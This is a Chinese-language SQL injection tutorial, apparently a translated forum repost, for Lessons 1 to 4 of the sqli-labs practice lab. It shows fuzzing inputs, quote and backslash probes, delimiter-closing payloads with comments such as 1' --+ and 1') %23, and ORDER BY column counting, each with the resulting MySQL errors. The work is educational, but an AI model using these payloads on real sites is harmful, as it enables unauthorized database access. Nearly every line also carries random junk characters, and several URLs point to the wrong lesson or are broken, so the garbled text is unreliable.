# z. g9 q2 `7 S# n' r' ` h5 JID=100 => 页面上没有结果显示 . J* W6 F% v* J1 Z8 ^0 o, Q结果枚举:数据库表中似乎有8条记录,任何不存在的ID值,它返回一个空集。 ' U5 y6 n* P" m模糊测试: - Y$ h) `8 {3 ?6 }/ h1 v5 @" Z# d
% O+ t; X$ {( T+ d+ q
一般来说,应用程序开发人员假定用户将输入整数值。 尝试用模糊测试所有的应用程序输入点。 那么究竟什么是模糊? 这是一个过程,输入一些特殊意义的参数等,并尝试找到应用程序报错的差异反应。差异的报错表明可能存在漏洞。9 [6 {' W& a O; f: D' F
以下是一些任意的输入:8 [) u' v( i# v8 S
“ 3 Z& J; _" J: Q6 a1 \2 \; Q6 ` h“ , R" Q! \( n8 o6 \( s
\ / S. d' o% x G6 l
; * G' h- h$ d' Q$ Z3 K$ V3 m0 N) m
%00 6 s1 p( d: \6 f
) 8 f+ s+ G$ J9 V) V( 4 c' J5 T& V* _6 zaaa 5 Q( I1 t% V+ @ N1 ?) F
整数或字符串测试:由于输入参数似乎是整数值,让我们尝试输入ID参数的字符串值,并观察其行为。5 H: l' e( G3 }
Less1: http://localhost/sqli-labs/Less-1/?id=asdf ) N! k8 f4 x( ^: @Less2: http://localhost/sqli-labs/Less-2/?id=asdf! \: F# ~7 O, h
& O/ p, l3 H: L3 A$ ~8 I$ E5 |/ a
Less3: http://localhost/sqli-labs/Less-3/?id=asdf ! h+ M; R4 U' d+ [4 X- ~Less4: http://localhost/sqli-labs/Less-4/?id=asdf5 Q( |& ]+ g" n( k7 r- w& c8 e& j
6 Q! s; V& s0 E8 z; |& E( \* b
整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 5 l% W$ A% w& S2 e6 @继续模糊化:现在,让我们进一步采取模糊的字符. 1 A3 v: E4 s( a/ b& N用单引号来进行测试 2 ^3 f8 F) F8 x; D7 Vless1( z5 @0 K8 s6 g3 o
http://localhost/sqli-labs/Less-1/?id=1‘' z8 b, }6 g9 H! o6 B
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 12 v: ]# u0 k3 b2 F) G8 Q& v
less2 3 `3 [; z! d. n. Y o: {http://localhost/sqli-labs/Less-2/?id=1 ’* Z+ d2 w- ^0 f7 ^ y1 {
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 19 I \& T! j" K8 Z& F& W
. M2 I0 o5 l/ H4 u/ \
less3% |, [7 }+ c" g' g& |- q: l1 J
http://localhost/sqli-labs/Less-3/?id=1 ’ " s) I" q7 `! {" f8 IYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1/ _ @. _! G0 @# X0 }+ {' L# @5 e
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.1 O2 p" Q8 t E: y4 z$ c
用双引号进行测试7 j- l% L) e# s4 C3 Y. j2 H6 A
用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。, U( G3 d" \* F: x* Y
* s* e- u8 C" U, x" G
通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入.& z, C2 h% _2 f' S/ j, i
- G) U( R6 a' U综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。+ C& J1 G5 J6 d# @8 @
用\进行测试: J' j \. K& I. x# f# Z
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:$ |) C7 a/ @; j" _. e
less1$ o, z; C/ N! |+ d% F/ r
http://localhost/sqli-labs/Less-1/?id=1\ $ k4 S- R/ k( x) f7 O _! FYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 7 P9 M I, b- B" ]: s( a- oless2 : ^( a4 ?; W( c$ K8 Jhttp://localhost/sqli-labs/Less-2/?id=1\6 v% y) f& ^( D
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1 ) P# U3 L- o, [9 R" j/ dless3 a2 j+ I5 }* \7 Q6 Y% B" t, Qhttp://localhost/sqli-labs/Less-3/?id=1\ / I; x3 @8 Y( h% T$ [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1* ?0 ?5 I& K4 u8 Q% V% x
less4; Q( ~1 h2 o h1 X9 ^
http://localhost/sqli-labs/Less-4/?id=1\* X. v- D ^; k9 Z3 e1 `
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 10 E V! i* _: X; { i. |# A0 {
less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 " y1 D$ n+ ^' R1 X+ I1 oless2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 ( _; e- J' n1 U' j% x. fless3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’).0 E$ Z: Z1 v# L' j
less4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”)./ h. M* k/ t: B$ X$ P
这四种情况在后端查询中使用的语句实际分别为:* j8 e3 B. I! j2 F& O: A
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 8 D2 z A+ k% J6 G4 LLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,18 E3 F- r: p: @% K4 j% G' I7 b
Less-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1: {: j2 M4 n# s# @
Less-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 @% d! ^8 b- \5 [+ n" q3 k" Y |) N* h& }+ s; @% {1 i5 z. Z
对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: . H3 Q. W& ~( q6 t& H+ q$ NLess-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1% G+ N5 d/ I$ \7 w& D7 m4 D( q
当我们输入的参数$ID的值为1‘,查询语句就会变成如下: $ G6 \" p8 ?/ A' O$ q$ j* b/ `SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1 ; f5 |2 R3 C' A- }/ }0 D现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法:* q, K4 ]' d2 |
方法一: . S, q' ~' @8 h( O可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#6 d: }, F* x: c2 s) ~9 Q
查询语句将变为如下: 8 O3 K, n& m7 J0 U8 FSELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1 , F$ [- Y4 L" x5 A6 ~) S- CSELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1 @2 I& S- K0 E( k0 V( M
注射的完整URL如下:* f. i& R1 O5 t$ W
http://localhost/sqli-labs/Less-1/?id=1′–+6 j9 _0 `8 v# q
http://localhost/sqli-labs/Less-1/?id=1′ %23: o; R% ?/ v0 S% V n" ^
(%23是#号的url编码)$ O, H2 e' _; |, a9 u
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下:- Q0 ~- {# g% `3 ^
http://localhost/sqli-labs/Less-2/?id=1–+ 9 a5 t. d5 C! |$ G/ B8 ~ # S9 Y0 h* A6 `/ Sttp://localhost/sqli-labs/Less-2/?id=1 %23 . m6 q! S; W, Y/ V% C) y1 uSELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1 9 x- s/ I1 z- ^' z6 sSELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 ! F! ]9 }! s" Z0 F在less3中,我们推断后端sql语句如下:: W) v8 t: C1 x$ a/ F( L8 Z+ x
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 1 k$ Y! K U3 i8 |所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句 ! ]* A/ }# n( D( nSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,14 c+ d6 ~# `+ D( i, z% f8 _
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 6 J' G1 Q' X2 o! m6 a5 y" V注射: 1′) –+ 1′) # 3 P: W' Y; g h7 g! I' m% a完整的注射URL:: N. K$ i8 E- k6 l9 S, y1 c
http://localhost/sqli-labs/Less-2/?id=1‘)-+ . ~5 A2 |+ j; c5 z* P1 y0 dhttp://localhost/sqli-labs/Less-2/?id=1′) %23 3 |6 J) K9 o0 P* \; h在less4中,我们推广后端sql语句如下:7 { W9 L i6 n X' \, B
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 3 A7 M' ~6 M+ c ` D. i5 l9 U同样,需要关闭掉分隔符,然后注释掉后面的语句 7 s4 @" Y4 L5 @+ {/ USELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 / X9 G0 V9 Y! N4 h, o9 [3 N/ s# JSELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1; u& |) O0 ?$ H% D& }8 Q
注射: 1″) –+ 1″) #2 S4 J9 r" _5 Q( S- _' k
http://localhost/sqli-labs/Less-2/?id=1″)–+ - |" L$ l' v/ @7 g/ bhttp://localhost/sqli-labs/Less-2/?id=1 “)%23 " R8 l: E1 g, X" x7 z/ T通过查询了解表中的字段数, h9 }' l8 k% D/ W; I
正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。 4 ?# x. o; ]/ m. F% x9 C下面我们测试用order by 1,order by 2……等来查询观察结果. 1 ~; r3 w! w" L8 u6 _& @http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面$ P# x$ B4 |! e x* L' I6 K+ J
http://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列. 2 Y! s: D/ W# bLesson2:8 y* p1 F, e; a: C/ c. E
Injection: 1 ORDER BY 1 –+ => 没有错误. . F- ~8 z6 N! g- G7 l1 [* hInjection: 1 ORDER BY 2–+ => 没有错误. 6 l' U! q8 g" i, j3 R% [Injection: 1 ORDER BY 3 –+ => 没有错误.' i* A; G4 p4 }# F2 X5 Z' ~0 Y% B5 u
Injection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列. 7 {6 A2 _# f& @( Y当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 / s/ y5 T5 F% D m, n4 D : L6 H: d& y2 N# X* a$ l: S
本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。